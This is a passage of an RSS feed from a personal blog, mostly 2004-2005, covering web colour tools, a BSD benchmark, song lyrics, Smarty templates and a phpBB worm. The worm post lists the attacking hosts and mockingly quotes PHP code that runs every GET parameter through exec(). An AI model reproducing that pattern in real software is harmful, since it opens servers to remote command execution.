  12960. <p>Via <a href="https://web.archive.org/web/20050124182604/http://www.cyrus.ruhr.de/article/99/einschaltrituale" title="cyrus.ruhr.de: Einschaltrituale (archive.org)">cyrus.ruhr.de</a>, <a href="https://web.archive.org/web/20050121103144/http://web51.hosting.venue.de/sunlog/item.php?i=490" title="Pocket-Blog (archive.org)">Pocket-Blog</a>, <a href="http://www.lostfocus.de/archives/2005/01/08/chronologisch-und-nachgemacht/" title="LostFocus  Chronologisch und nachgemacht">LostFocus</a>, <a href="https://web.archive.org/web/20051018061733/http://latenightblog.com/index.php?id=305" title="Die fünf ersten - Late Night Blog (archive.org)">Late Night Blog</a>.</p>
  12961. ]]></content:encoded>
  12962.  </item>
  12963.  
  12964.  <item>
  12965.    <title>Colors</title>
  12966.    <link>https://blog.x-way.org/Webdesign/2005/01/08/Colors.html</link>
  12967.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324056</guid>
  12968.    <dc:creator>Andreas Jaggi</dc:creator>
  12969.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  12970.    <pubDate>Sat, 08 Jan 2005 23:02:15 +0100</pubDate>
  12971.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  12972.    <description><![CDATA[<p>I&#8217;ve found some color resources &amp; utilities on <a href="http://del.icio.us/" title="del.icio.us">del.icio.us</a>.
  12973. These are always useful, especially since i&#8217;m not the person who can
  12974. just throw together three colors and automatically the result looks
  12975. good.</p>
  12976.  
  12977. <ul>
  12978. <li><a href="http://www.easyrgb.com/harmonies.php" title="EasyRGB - Color harmonies, complements and themes">EasyRGB</a> &#8211; Search for color harmonies, complements and themes for your RBG values</li>
  12979.  
  12980. <li><a href="http://www.meyerweb.com/eric/tools/color-blend/" title="Color Blender">Color Blender</a> &#8211; Calculate midpoint colors</li>
  12981.  
  12982. <li><a href="http://www.ficml.org/jemimap/style/color/wheel.html" title="4096 Color Wheel Version 2.1">4096 Color Wheel</a> &#8211; Color Wheel with corresponding web-safe &amp; web-smart colors</li>
  12983.  
  12984. <li><a href="https://web.archive.org/web/20050104120517/http://www.returnofdesign.com/spectacle/show.php?page=16" title="Spectacle - Color Schemes (archive.org)">Spectacle</a> &#8211; Tweaked web-smart Color Schemes</li>
  12985.  
  12986. <li><a href="https://web.archive.org/web/20050106090609/http://www.adampolselli.com/getthelook/" title="Adam Poselli - Get the Look (archive.org)">Adam Poselli &#187; Get the Look</a> &#8211; Design &amp; style guides</li>
  12987.  
  12988. <li><a href="https://web.archive.org/web/20050106013852/http://www.adampolselli.com/colorschemes/" title="Adam Poselli Where'd Ya Get That Color Scheme? (archive.org)">Adam Poselli &#187; Where&#8217;d Ya Get That Color Scheme?</a> &#8211; Color schemes from photographs</li>
  12989.  
  12990. <li><a href="https://web.archive.org/web/20050107051258/http://www.adampolselli.com/2005/" title="Adam Poselli's 2005 Color Forecast (archive.org)">Adam Poselli&#8217;s 2005 Color Forecast</a> &#8211; Colors</li>
  12991.  
  12992. <li><a href="https://web.archive.org/web/20050207200353/http://www.adampolselli.com/archives/2003/12/24/2004_color_forecast.php" title="Adam Poselli's 2004 Color Forecast (archive.org)">Adam Poselli&#8217;s 2004 Color Forecast</a> &#8211; More colors</li>
  12993.  
  12994. <li><a href="https://web.archive.org/web/20050111092950/http://www.mezzoblue.com/archives/2004/05/14/colour_schem/" title="mezzoblue Colour Schemes (archive.org)">mezzoblue &#167; Colour Schemes</a> &#8211; How to select colors</li>
  12995. </ul>
  12996. ]]></description>
  12997.    <content:encoded><![CDATA[<p>I&#8217;ve found some color resources &amp; utilities on <a href="http://del.icio.us/" title="del.icio.us">del.icio.us</a>.
  12998. These are always useful, especially since i&#8217;m not the person who can
  12999. just throw together three colors and automatically the result looks
  13000. good.</p>
  13001.  
  13002. <ul>
  13003. <li><a href="http://www.easyrgb.com/harmonies.php" title="EasyRGB - Color harmonies, complements and themes">EasyRGB</a> &#8211; Search for color harmonies, complements and themes for your RBG values</li>
  13004.  
  13005. <li><a href="http://www.meyerweb.com/eric/tools/color-blend/" title="Color Blender">Color Blender</a> &#8211; Calculate midpoint colors</li>
  13006.  
  13007. <li><a href="http://www.ficml.org/jemimap/style/color/wheel.html" title="4096 Color Wheel Version 2.1">4096 Color Wheel</a> &#8211; Color Wheel with corresponding web-safe &amp; web-smart colors</li>
  13008.  
  13009. <li><a href="https://web.archive.org/web/20050104120517/http://www.returnofdesign.com/spectacle/show.php?page=16" title="Spectacle - Color Schemes (archive.org)">Spectacle</a> &#8211; Tweaked web-smart Color Schemes</li>
  13010.  
  13011. <li><a href="https://web.archive.org/web/20050106090609/http://www.adampolselli.com/getthelook/" title="Adam Poselli - Get the Look (archive.org)">Adam Poselli &#187; Get the Look</a> &#8211; Design &amp; style guides</li>
  13012.  
  13013. <li><a href="https://web.archive.org/web/20050106013852/http://www.adampolselli.com/colorschemes/" title="Adam Poselli Where'd Ya Get That Color Scheme? (archive.org)">Adam Poselli &#187; Where&#8217;d Ya Get That Color Scheme?</a> &#8211; Color schemes from photographs</li>
  13014.  
  13015. <li><a href="https://web.archive.org/web/20050107051258/http://www.adampolselli.com/2005/" title="Adam Poselli's 2005 Color Forecast (archive.org)">Adam Poselli&#8217;s 2005 Color Forecast</a> &#8211; Colors</li>
  13016.  
  13017. <li><a href="https://web.archive.org/web/20050207200353/http://www.adampolselli.com/archives/2003/12/24/2004_color_forecast.php" title="Adam Poselli's 2004 Color Forecast (archive.org)">Adam Poselli&#8217;s 2004 Color Forecast</a> &#8211; More colors</li>
  13018.  
  13019. <li><a href="https://web.archive.org/web/20050111092950/http://www.mezzoblue.com/archives/2004/05/14/colour_schem/" title="mezzoblue Colour Schemes (archive.org)">mezzoblue &#167; Colour Schemes</a> &#8211; How to select colors</li>
  13020. </ul>
  13021. ]]></content:encoded>
  13022.  </item>
  13023.  
  13024.  <item>
  13025.    <title>NetBSD 2.0 vs FreeBSD 5.3</title>
  13026.    <link>https://blog.x-way.org/NetBSD/2005/01/07/NetBSD-20-vs-FreeBSD-53.html</link>
  13027.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324055</guid>
  13028.    <dc:creator>Andreas Jaggi</dc:creator>
  13029.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13030.    <pubDate>Fri, 07 Jan 2005 21:00:56 +0100</pubDate>
  13031.    <category domain="https://blog.x-way.org/NetBSD/">NetBSD</category>
  13032.    <description><![CDATA[<p>Gregory McGarry has made a <a href="http://www.feyrer.de/NetBSD/gmcgarry/" title="Benchmark Comparison of NetBSD 2.0 and FreeBSD 5.3">benchmark comparison between NetBSD 2.0 and FreeBSD 5.3</a>.<br>(<a href="https://web.archive.org/web/20050305191302/http://weblog.bsd-network.org/archives/2005/01/06/netbsd-vs-freebsd-der-benchmark/" title="NetBSD vs FreeBSD (der Benchmark) (archive.org)">via mindtrap::weblog</a>)</p>
  13033. <p>The main differences are that NetBSD scales <i>O</i>(1) on forking new
  13034. processes while FreeBSD scales <i>O</i>(<i>n</i>). For memory mapping and socket
  13035. creation both scale <i>O</i>(1) but NetBSD is twice as fast as FreeBSD
  13036. <br>But for binding addresses to sockets, FreeBSD scales <i>O</i>(1) while
  13037. NetBSD scales <i>O</i>(<i>n</i>) but is twice as fast for a small number of bound
  13038. sockets. Also for POSIX thread creation FreeBSD scales <i>O</i>(1) while
  13039. NetBSD scales something like <i>O</i>(<i>n</i>) and is twice as fast for a small
  13040. number of threads.</p>
  13041. <blockquote cite="http://www.feyrer.de/NetBSD/gmcgarry/">
  13042. <p>This paper has presented a suite of benchmarks and results for comparing the performance of NetBSD 2.0 and FreeBSD 5.3 in the areas of core operating system functionality, network scalability and thread performance.</p>
  13043. <p>The results clearly indicate that recent architectural decisions in the NetBSD operating system have closed the performance gap between NetBSD and FreeBSD. In fact, NetBSD has surpassed FreeBSD in performance in the areas investigated in this paper. Significant performance improvements are obviously visible in the thread implementation.</p>
  13044. </blockquote>
  13045. ]]></description>
  13046.    <content:encoded><![CDATA[<p>Gregory McGarry has made a <a href="http://www.feyrer.de/NetBSD/gmcgarry/" title="Benchmark Comparison of NetBSD 2.0 and FreeBSD 5.3">benchmark comparison between NetBSD 2.0 and FreeBSD 5.3</a>.<br>(<a href="https://web.archive.org/web/20050305191302/http://weblog.bsd-network.org/archives/2005/01/06/netbsd-vs-freebsd-der-benchmark/" title="NetBSD vs FreeBSD (der Benchmark) (archive.org)">via mindtrap::weblog</a>)</p>
  13047. <p>The main differences are that NetBSD scales <i>O</i>(1) on forking new
  13048. processes while FreeBSD scales <i>O</i>(<i>n</i>). For memory mapping and socket
  13049. creation both scale <i>O</i>(1) but NetBSD is twice as fast as FreeBSD
  13050. <br>But for binding addresses to sockets, FreeBSD scales <i>O</i>(1) while
  13051. NetBSD scales <i>O</i>(<i>n</i>) but is twice as fast for a small number of bound
  13052. sockets. Also for POSIX thread creation FreeBSD scales <i>O</i>(1) while
  13053. NetBSD scales something like <i>O</i>(<i>n</i>) and is twice as fast for a small
  13054. number of threads.</p>
  13055. <blockquote cite="http://www.feyrer.de/NetBSD/gmcgarry/">
  13056. <p>This paper has presented a suite of benchmarks and results for comparing the performance of NetBSD 2.0 and FreeBSD 5.3 in the areas of core operating system functionality, network scalability and thread performance.</p>
  13057. <p>The results clearly indicate that recent architectural decisions in the NetBSD operating system have closed the performance gap between NetBSD and FreeBSD. In fact, NetBSD has surpassed FreeBSD in performance in the areas investigated in this paper. Significant performance improvements are obviously visible in the thread implementation.</p>
  13058. </blockquote>
  13059. ]]></content:encoded>
  13060.  </item>
  13061.  
  13062.  <item>
  13063.    <title>Nightwish - The Pharaoh Sails To Orion</title>
  13064.    <link>https://blog.x-way.org/Music/2005/01/06/Nightwish---The-Pharaoh-Sails-To-Orion.html</link>
  13065.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324054</guid>
  13066.    <dc:creator>Andreas Jaggi</dc:creator>
  13067.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13068.    <pubDate>Thu, 06 Jan 2005 14:24:02 +0100</pubDate>
  13069.    <category domain="https://blog.x-way.org/Music/">Music</category>
  13070.    <description><![CDATA[<img src="https://blog.x-way.org/images/nightwish_oceanborn.jpg" alt="Nightwish - Oceanborn" title="Nightwish - Oceanborn" width="202" height="200">
  13071. <p>&quot;Get away from me!<br>
  13072. Take heed to thyself and see my face no more!<br>
  13073. for in the day Thou see my face<br>
  13074. Thou shalt die!&quot;<br>
  13075. &#8211; Exodus 10:28</p>
  13076. <br><br>
  13077. <p>A constellation of divine architecture built on Earth<br>
  13078. A holy harbour &#8211; Orion<br>
  13079. Nautical ascension to the firmament
  13080. </p>
  13081.  
  13082. <p>
  13083. Ship-shaped barrows open my heart to the wisdom of this land<br>
  13084. Sailing with the Serpent Chimera of a fiendish sandman
  13085. </p>
  13086.  
  13087. <p>
  13088. The Unicorn arrives with the westwind to dream His funeral<br>
  13089. &quot;Thou art born for Horus dwells in Thee&quot;
  13090. </p>
  13091.  
  13092. <p>
  13093. Slumbering with the ebb and the flow of this foaming tomb<br>
  13094. &quot;Thou art born for Seteh dwells in Thee&quot;
  13095. </p>
  13096.  
  13097. <p>
  13098. Reveal your face to me and guide me through the Stygian fields<br>
  13099. Enthral my soul to Sepedet&rsquo;s beams to serve Your will
  13100. </p>
  13101.  
  13102. <p>
  13103. <i>Sailing on the distant seas from darkness to deliverance<br>
  13104. Tales like the ocean written to the Draco&rsquo;s glance
  13105. </i></p>
  13106.  
  13107. <p>
  13108. <i>Ruling with the scythe of death you tear our philosophies apart<br>
  13109. An ancient starwalk to merge into the stars</i>
  13110. </p>
  13111.  
  13112. <p>
  13113. &quot;Open thy veins for my venom<br>
  13114. Kiss the cobras with thy twisted tongue<br>
  13115. So shalt thou join the empyrean circus<br>
  13116. Where beggars mourn and seraphs dance<br>
  13117. In this twilight cathedral<br>
  13118. Shall I wed thee,<br>
  13119. O Bride of the Netherworld&quot;
  13120. </p>
  13121.  
  13122. <p>
  13123. <i>Sailing on the distant seas...</i>
  13124. </p>
  13125.  
  13126. <p>
  13127. Join my soul the Hunter in the sky
  13128. </p>
  13129. ]]></description>
  13130.    <content:encoded><![CDATA[<img src="https://blog.x-way.org/images/nightwish_oceanborn.jpg" alt="Nightwish - Oceanborn" title="Nightwish - Oceanborn" width="202" height="200">
  13131. <p>&quot;Get away from me!<br>
  13132. Take heed to thyself and see my face no more!<br>
  13133. for in the day Thou see my face<br>
  13134. Thou shalt die!&quot;<br>
  13135. &#8211; Exodus 10:28</p>
  13136. <br><br>
  13137. <p>A constellation of divine architecture built on Earth<br>
  13138. A holy harbour &#8211; Orion<br>
  13139. Nautical ascension to the firmament
  13140. </p>
  13141.  
  13142. <p>
  13143. Ship-shaped barrows open my heart to the wisdom of this land<br>
  13144. Sailing with the Serpent Chimera of a fiendish sandman
  13145. </p>
  13146.  
  13147. <p>
  13148. The Unicorn arrives with the westwind to dream His funeral<br>
  13149. &quot;Thou art born for Horus dwells in Thee&quot;
  13150. </p>
  13151.  
  13152. <p>
  13153. Slumbering with the ebb and the flow of this foaming tomb<br>
  13154. &quot;Thou art born for Seteh dwells in Thee&quot;
  13155. </p>
  13156.  
  13157. <p>
  13158. Reveal your face to me and guide me through the Stygian fields<br>
  13159. Enthral my soul to Sepedet&rsquo;s beams to serve Your will
  13160. </p>
  13161.  
  13162. <p>
  13163. <i>Sailing on the distant seas from darkness to deliverance<br>
  13164. Tales like the ocean written to the Draco&rsquo;s glance
  13165. </i></p>
  13166.  
  13167. <p>
  13168. <i>Ruling with the scythe of death you tear our philosophies apart<br>
  13169. An ancient starwalk to merge into the stars</i>
  13170. </p>
  13171.  
  13172. <p>
  13173. &quot;Open thy veins for my venom<br>
  13174. Kiss the cobras with thy twisted tongue<br>
  13175. So shalt thou join the empyrean circus<br>
  13176. Where beggars mourn and seraphs dance<br>
  13177. In this twilight cathedral<br>
  13178. Shall I wed thee,<br>
  13179. O Bride of the Netherworld&quot;
  13180. </p>
  13181.  
  13182. <p>
  13183. <i>Sailing on the distant seas...</i>
  13184. </p>
  13185.  
  13186. <p>
  13187. Join my soul the Hunter in the sky
  13188. </p>
  13189. ]]></content:encoded>
  13190.  </item>
  13191.  
  13192.  <item>
  13193.    <title>Smarty</title>
  13194.    <link>https://blog.x-way.org/Coding/2005/01/06/Smarty.html</link>
  13195.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324053</guid>
  13196.    <dc:creator>Andreas Jaggi</dc:creator>
  13197.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13198.    <pubDate>Thu, 06 Jan 2005 00:28:21 +0100</pubDate>
  13199.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  13200.    <description><![CDATA[<p>Angeregt durch <a href="https://web.archive.org/web/20050210182704/http://weblog.bsd-network.org/" title="mindtrap::weblog (archive.org)">Gordons</a> Smarty <a href="https://web.archive.org/web/20050405032950/http://weblog.bsd-network.org/archives/2005/01/03/smarty-templates/" title="Smarty Templates (archive.org)">Posting</a> gibts es hier nun auch einen Eintrag über Template Systeme und ein paar interessante Links.</p>
  13201. <p>Angefangen hat das mit den Templates, als ich vor 2 Jahren die <a href="https://web.archive.org/web/20060219141244/http://f.waterwave.ch/" title="Willkommen auf der Website der 1F (archive.org)">Website</a> für meine Klasse des Gymnasiums <a href="http://www.waterwave.ch/weblog/detail.php?label=fwaterwavech" title="x-log: f.waterwave.ch">gemacht habe</a>. Damals benutze ich die <a href="https://web.archive.org/web/20050123002216/http://pet.andreas-demmer.de/" title="P.E.T.: PHP Processor Engine for Templates (archive.org)">P.E.T.</a> Template-Engine von <a href="https://web.archive.org/web/20050120025716/http://www.andreas-demmer.de/cms/" title="Andreas Demmer (archive.org)">Andreas Demmer</a>.<br>
  13202. In der damals top-aktuellen Version 1.5 musste man Template-Tags in einer etwas unhandlichen Form benutzen: &lt;!-- {tag} --&gt;</p>
  13203.  
  13204. <p>Als ich vor einem Jahr mein Weblog komplett neu programmierte,
  13205. wollte ich auch ein Template-System benutzen, aber ohne so umständliche
  13206. Tags.<br>
  13207. Inspiriert von <a href="http://www.massassi.com/php/articles/template_engines/" title="Brian Lozier - Template Engines">diesem Artikel</a>
  13208. habe ich eine PHP-Klasse programmiert, welche eigentlich nichts anderes
  13209. macht, als ein paar Variablen zu speichern und eine Template-Datei zu
  13210. inkludieren. Die Template-Tags sind auf &lt;?=$tag;?&gt; geschrumpft
  13211. und man kann die ganze Vielfalt von PHP nutzen ohne die Template-Datei
  13212. speziell zu parsen.</p>
  13213.  
  13214. <p>
  13215. Im letzten Sommer habe ich einen Ferienjob gesucht und mich auf eine Ausschreibung des <a href="http://kis.epfl.ch/" title="Knowledge and Information Services">KIS</a> gemeldet. Als Anforderung wurden unter anderem <a href="https://www.smarty.net/" title="Smart : Template Engine">Smarty</a> Kenntnisse genannt, und so habe ich mir einen Abend Zeit genommen und mich in Smarty hineingearbeitet.</p>
  13216.  
  13217. <p>Früher habe ich mich etwas vor Smarty gedrückt, weil es mir etwas schwerfällig schien mit Template-Kompilierung, Caching etc.<br>
  13218. Doch
  13219. seit ich mich intensiv damit beschäftige und auch entdecken durfte,
  13220. dass die kompilierten Templates eigentlich genau meinem
  13221. &quot;include&quot;-Template System entsprechen, habe ich meine Meinung geändert.<br>
  13222. Nun setzte ich Smarty auch bei eigenen Projekten ein.</p>
  13223.  
  13224. <p>Hier noch ein paar gesammelte Links zu Smarty:</p>
  13225.  
  13226. <ul>
  13227. <li class="gone"><a href="#" title="Smarty i18n Plugin">Smarty i18n Plugin</a> &ndash; Internationalisierung für Smarty</li>
  13228. <li><a href="http://www.phpinsider.com/php/code/SmartyValidate/" title="SmartyValidate">SmartyValidate</a> &ndash; Form Validation mit Smarty</li>
  13229. <li><a href="https://web.archive.org/web/20050509014022/http://paland.net/blog/index.php/2004/11/24/347-phpmysql-anwendungen-ein-pladoyer-fur-smarty" title="PHP/MySQL-Anwendungen: Ein Plädoyer für Smarty (archive.org)">Ein Plädoyer für Smarty</a></li>
  13230. <li class="gone"><a href="#" title="Smarty - BeWiki">BeWiki &ndash; Smarty</a> &ndash; Linksammlung</li>
  13231. <li><a href="https://web.archive.org/web/20050120093641/http://smarty.incutio.com/?page=SmartyPlugins" title="SmartyPlugins (archive.org)">Smarty Plugin Verzeichnis</a></li>
  13232. </ul>
  13233.  
  13234. ]]></description>
  13235.    <content:encoded><![CDATA[<p>Angeregt durch <a href="https://web.archive.org/web/20050210182704/http://weblog.bsd-network.org/" title="mindtrap::weblog (archive.org)">Gordons</a> Smarty <a href="https://web.archive.org/web/20050405032950/http://weblog.bsd-network.org/archives/2005/01/03/smarty-templates/" title="Smarty Templates (archive.org)">Posting</a> gibts es hier nun auch einen Eintrag über Template Systeme und ein paar interessante Links.</p>
  13236. <p>Angefangen hat das mit den Templates, als ich vor 2 Jahren die <a href="https://web.archive.org/web/20060219141244/http://f.waterwave.ch/" title="Willkommen auf der Website der 1F (archive.org)">Website</a> für meine Klasse des Gymnasiums <a href="http://www.waterwave.ch/weblog/detail.php?label=fwaterwavech" title="x-log: f.waterwave.ch">gemacht habe</a>. Damals benutze ich die <a href="https://web.archive.org/web/20050123002216/http://pet.andreas-demmer.de/" title="P.E.T.: PHP Processor Engine for Templates (archive.org)">P.E.T.</a> Template-Engine von <a href="https://web.archive.org/web/20050120025716/http://www.andreas-demmer.de/cms/" title="Andreas Demmer (archive.org)">Andreas Demmer</a>.<br>
  13237. In der damals top-aktuellen Version 1.5 musste man Template-Tags in einer etwas unhandlichen Form benutzen: &lt;!-- {tag} --&gt;</p>
  13238.  
  13239. <p>Als ich vor einem Jahr mein Weblog komplett neu programmierte,
  13240. wollte ich auch ein Template-System benutzen, aber ohne so umständliche
  13241. Tags.<br>
  13242. Inspiriert von <a href="http://www.massassi.com/php/articles/template_engines/" title="Brian Lozier - Template Engines">diesem Artikel</a>
  13243. habe ich eine PHP-Klasse programmiert, welche eigentlich nichts anderes
  13244. macht, als ein paar Variablen zu speichern und eine Template-Datei zu
  13245. inkludieren. Die Template-Tags sind auf &lt;?=$tag;?&gt; geschrumpft
  13246. und man kann die ganze Vielfalt von PHP nutzen ohne die Template-Datei
  13247. speziell zu parsen.</p>
  13248.  
  13249. <p>
  13250. Im letzten Sommer habe ich einen Ferienjob gesucht und mich auf eine Ausschreibung des <a href="http://kis.epfl.ch/" title="Knowledge and Information Services">KIS</a> gemeldet. Als Anforderung wurden unter anderem <a href="https://www.smarty.net/" title="Smart : Template Engine">Smarty</a> Kenntnisse genannt, und so habe ich mir einen Abend Zeit genommen und mich in Smarty hineingearbeitet.</p>
  13251.  
  13252. <p>Früher habe ich mich etwas vor Smarty gedrückt, weil es mir etwas schwerfällig schien mit Template-Kompilierung, Caching etc.<br>
  13253. Doch
  13254. seit ich mich intensiv damit beschäftige und auch entdecken durfte,
  13255. dass die kompilierten Templates eigentlich genau meinem
  13256. &quot;include&quot;-Template System entsprechen, habe ich meine Meinung geändert.<br>
  13257. Nun setzte ich Smarty auch bei eigenen Projekten ein.</p>
  13258.  
  13259. <p>Hier noch ein paar gesammelte Links zu Smarty:</p>
  13260.  
  13261. <ul>
  13262. <li class="gone"><a href="#" title="Smarty i18n Plugin">Smarty i18n Plugin</a> &ndash; Internationalisierung für Smarty</li>
  13263. <li><a href="http://www.phpinsider.com/php/code/SmartyValidate/" title="SmartyValidate">SmartyValidate</a> &ndash; Form Validation mit Smarty</li>
  13264. <li><a href="https://web.archive.org/web/20050509014022/http://paland.net/blog/index.php/2004/11/24/347-phpmysql-anwendungen-ein-pladoyer-fur-smarty" title="PHP/MySQL-Anwendungen: Ein Plädoyer für Smarty (archive.org)">Ein Plädoyer für Smarty</a></li>
  13265. <li class="gone"><a href="#" title="Smarty - BeWiki">BeWiki &ndash; Smarty</a> &ndash; Linksammlung</li>
  13266. <li><a href="https://web.archive.org/web/20050120093641/http://smarty.incutio.com/?page=SmartyPlugins" title="SmartyPlugins (archive.org)">Smarty Plugin Verzeichnis</a></li>
  13267. </ul>
  13268.  
  13269. ]]></content:encoded>
  13270.  </item>
  13271.  
  13272.  <item>
  13273.    <title>English</title>
  13274.    <link>https://blog.x-way.org/Misc/2005/01/05/English.html</link>
  13275.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324052</guid>
  13276.    <dc:creator>Andreas Jaggi</dc:creator>
  13277.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13278.    <pubDate>Wed, 05 Jan 2005 17:21:35 +0100</pubDate>
  13279.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  13280.    <description><![CDATA[<p>Motivated by Joel&#8217;s <a href="http://www.joelonsoftware.com/articles/CollegeAdvice.html" title="Joel on Software -  Advice for Computer Science College Students">Advice for Computer Science College Students</a> i beginn now to blog also in english. The target is to improve my written english skills.<br>
  13281. I hope that this experiment doesn&#8217;t result like the french one, which
  13282. is dying poorly since i daily speak french and don&#8217;t write in it
  13283. anymore.</p>
  13284. ]]></description>
  13285.    <content:encoded><![CDATA[<p>Motivated by Joel&#8217;s <a href="http://www.joelonsoftware.com/articles/CollegeAdvice.html" title="Joel on Software -  Advice for Computer Science College Students">Advice for Computer Science College Students</a> i beginn now to blog also in english. The target is to improve my written english skills.<br>
  13286. I hope that this experiment doesn&#8217;t result like the french one, which
  13287. is dying poorly since i daily speak french and don&#8217;t write in it
  13288. anymore.</p>
  13289. ]]></content:encoded>
  13290.  </item>
  13291.  
  13292.  <item>
  13293.    <title>phpBB Wurm</title>
  13294.    <link>https://blog.x-way.org/Coding/2004/12/26/phpBB-Wurm.html</link>
  13295.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324051</guid>
  13296.    <dc:creator>Andreas Jaggi</dc:creator>
  13297.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13298.    <pubDate>Sun, 26 Dec 2004 01:43:52 +0100</pubDate>
  13299.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  13300.    <description><![CDATA[<p>Seit heute Abend bekomme ich von folgenden Hosts etwas <a href="https://web.archive.org/web/20041231074726/https://www.heise.de/security/news/meldung/54623" title=" Wurm attackiert PHP-Skripte">'spezielle'</a> HTTP Anfragen, welche hier zum Glück wirkungslos sind:<br>
  13301. </p>
  13302. <ul>
  13303.  <li>mail.shanghaiguide.com.cn</li>
  13304.  <li>aster.propagation.net</li>
  13305.  <li>cp02.virtuabyte.com</li>
  13306.  <li>b3.ovh.net</li>
  13307.  <li>merlin2.provinz.bz.it</li>
  13308.  <li>www.silverchair.nu</li>
  13309.  <li>chippy.takeoverhosting.com</li>
  13310.  <li>web1.o1.com</li>
  13311.  <li>cpanel5.fuitadnet.com</li>
  13312.  <li>cgi03.plus.net</li>
  13313.  <li>18.67-18-148.reverse.theplanet.com</li>
  13314.  <li>66.199.234.42</li>
  13315.  <li>sproggit.fluent.ltd.uk</li>
  13316.  <li>server1.progressiveinsite.com</li>
  13317.  <li>pingouin.ie2.u-psud.fr</li>
  13318.  <li>194.42.45.5</li>
  13319.  <li>...</li>
  13320. </ul>
  13321. <p>Dazu <a href="#" title="Zur Weihnacht ist Hochbetrieb" class="gone">sunflyer.ch</a>:<br>
  13322. </p>
  13323. <blockquote cite="http://sunflyer.ch/2004/12/25/zur-weihnacht-ist-hochbetrieb.php">
  13324. <p>Beeindruckend ist die Anzahl von Opfern, die irgendwie sowas in ihren Sourcen haben müssen.</p><pre>&lt;?php<br>foreach ($_GET as $_get) {<br>    exec ($_get);<br>}<br>?&gt;
  13325. </pre></blockquote>
  13326. ]]></description>
  13327.    <content:encoded><![CDATA[<p>Seit heute Abend bekomme ich von folgenden Hosts etwas <a href="https://web.archive.org/web/20041231074726/https://www.heise.de/security/news/meldung/54623" title=" Wurm attackiert PHP-Skripte">'spezielle'</a> HTTP Anfragen, welche hier zum Glück wirkungslos sind:<br>
  13328. </p>
  13329. <ul>
  13330.  <li>mail.shanghaiguide.com.cn</li>
  13331.  <li>aster.propagation.net</li>
  13332.  <li>cp02.virtuabyte.com</li>
  13333.  <li>b3.ovh.net</li>
  13334.  <li>merlin2.provinz.bz.it</li>
  13335.  <li>www.silverchair.nu</li>
  13336.  <li>chippy.takeoverhosting.com</li>
  13337.  <li>web1.o1.com</li>
  13338.  <li>cpanel5.fuitadnet.com</li>
  13339.  <li>cgi03.plus.net</li>
  13340.  <li>18.67-18-148.reverse.theplanet.com</li>
  13341.  <li>66.199.234.42</li>
  13342.  <li>sproggit.fluent.ltd.uk</li>
  13343.  <li>server1.progressiveinsite.com</li>
  13344.  <li>pingouin.ie2.u-psud.fr</li>
  13345.  <li>194.42.45.5</li>
  13346.  <li>...</li>
  13347. </ul>
  13348. <p>Dazu <a href="#" title="Zur Weihnacht ist Hochbetrieb" class="gone">sunflyer.ch</a>:<br>
  13349. </p>
  13350. <blockquote cite="http://sunflyer.ch/2004/12/25/zur-weihnacht-ist-hochbetrieb.php">
  13351. <p>Beeindruckend ist die Anzahl von Opfern, die irgendwie sowas in ihren Sourcen haben müssen.</p><pre>&lt;?php<br>foreach ($_GET as $_get) {<br>    exec ($_get);<br>}<br>?&gt;
  13352. </pre></blockquote>
  13353. ]]></content:encoded>
  13354.  </item>
  13355.  
  13356.  <item>
  13357.    <title>Weihnachten</title>
  13358.    <link>https://blog.x-way.org/Misc/2004/12/24/Weihnachten.html</link>
  13359.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324050</guid>
  13360.    <dc:creator>Andreas Jaggi</dc:creator>
  13361.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13362.    <pubDate>Fri, 24 Dec 2004 17:59:46 +0100</pubDate>
  13363.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  13364.    <description><![CDATA[Frohe Festtage!
  13365. ]]></description>
  13366.    <content:encoded><![CDATA[Frohe Festtage!
  13367. ]]></content:encoded>
  13368.  </item>
  13369.  
  13370.  <item>
  13371.    <title>Noël</title>
  13372.    <link>https://blog.x-way.org/Misc/2004/12/24/Noel.html</link>
  13373.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324049</guid>
  13374.    <dc:creator>Andreas Jaggi</dc:creator>
  13375.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13376.    <pubDate>Fri, 24 Dec 2004 17:58:11 +0100</pubDate>
  13377.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  13378.    <description><![CDATA[Joyeuses f&#234;tes!
  13379.  
  13380. ]]></description>
  13381.    <content:encoded><![CDATA[Joyeuses f&#234;tes!
  13382.  
  13383. ]]></content:encoded>
  13384.  </item>
  13385.  
  13386.  <item>
  13387.    <title>Gmail</title>
  13388.    <link>https://blog.x-way.org/Misc/2004/09/16/Gmail.html</link>
  13389.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324048</guid>
  13390.    <dc:creator>Andreas Jaggi</dc:creator>
  13391.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13392.    <pubDate>Thu, 16 Sep 2004 21:14:23 +0200</pubDate>
  13393.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  13394.    <description><![CDATA[<p>Seit neustem habe auch ich so einen <a href="https://gmail.google.com/" lang="en" title="Welcome to Gmail">Gmail</a>-Account und habe nun einige Einladungen zu verschenken.<br>Wer Interesse daran hat, soll sich melden.</p>
  13395. ]]></description>
